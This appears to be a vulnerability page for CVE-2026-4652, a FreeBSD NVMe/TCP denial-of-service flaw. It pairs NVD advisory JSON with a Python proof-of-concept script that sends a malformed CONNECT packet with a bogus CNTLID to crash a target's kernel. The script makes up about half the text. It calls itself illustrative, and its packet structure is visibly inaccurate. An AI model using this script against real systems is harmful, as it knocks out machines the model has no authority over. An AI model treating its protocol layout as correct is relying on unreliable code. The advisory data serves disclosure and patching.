CVE-2026-4652

#!/usr/bin/env python3 # This is a conceptual PoC for CVE-2026-4652 # It demonstrates sending a malformed NVMe/TCP packet with a bogus CNTLID import socket import struct TARGET_IP = "192.168.1.100" NVME_TCP_PORT = 4420 # NVMe/TCP PDU Header (simplified) # Construct a CONNECT command with an invalid CNTLID def build_exploit_pdu(): pdu_type = 0x01 # ICReq (Connect) # ... (Header fields) # Set CNTLID to 0xFFFF or an invalid value to trigger the panic cntlid = 0xDEAD # Building raw payload (simplified structure representation) # Actual NVMe/TCP packet structure is more complex, this is illustrative payload = struct.pack('<B', pdu_type) + struct.pack('<H', cntlid) return payload try: print(f"[+] Sending exploit packet to {TARGET_IP}:{NVME_TCP_PORT}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, NVME_TCP_PORT)) s.send(build_exploit_pdu()) print("[+] Packet sent. Check target for kernel panic.") s.close() except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-4652", "sourceIdentifier": "[email protected]", "published": "2026-03-26T07:16:20.540", "lastModified": "2026-04-30T18:57:58.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "On a system exposing an NVMe/TCP target, a remote client can trigger a kernel panic by sending a CONNECT command for an I/O queue with a bogus or stale CNTLID.\n\nAn attacker with network access to the NVMe/TCP target can trigger an unauthenticated Denial of Service condition on the affected machine."}, {"lang": "es", "value": "En un sistema que expone un objetivo NVMe/TCP, un cliente remoto puede desencadenar un pánico del kernel al enviar un comando CONNECT para una cola de E/S con un CNTLID falso o caducado.\n\nUn atacante con acceso de red al objetivo NVMe/TCP puede desencadenar una condición de denegación de servicio no autenticada en la máquina afectada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:-:*:*:*:*:*:*", "matchCriteriaId": "368CFE5D-C5C2-42AF-AAF4-28DFE1A59C3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:p1:*:*:*:*:*:*", "matchCriteriaId": "AA4AAA57-70A7-4717-ACF2-A253E757FF2C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:p2:*:*:*:*:*:*", "matchCriteriaId": "E24ABFA6-4D12-4DE5-832B-438502C7D188"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:p3:*:*:*:*:*:*", "matchCriteriaId": "C1C9869C-494B-4628-9AA3-4AA5B989C377"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:p4:*:*:*:*:*:*", "matchCriteriaId": "002AA2FE-C7BA-471A-9434-0E56A878ACBF"}]}]}], "references": [{"url": "https://security.freebsd.org/advisories/FreeBSD-SA-26:07.nvmf.asc", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}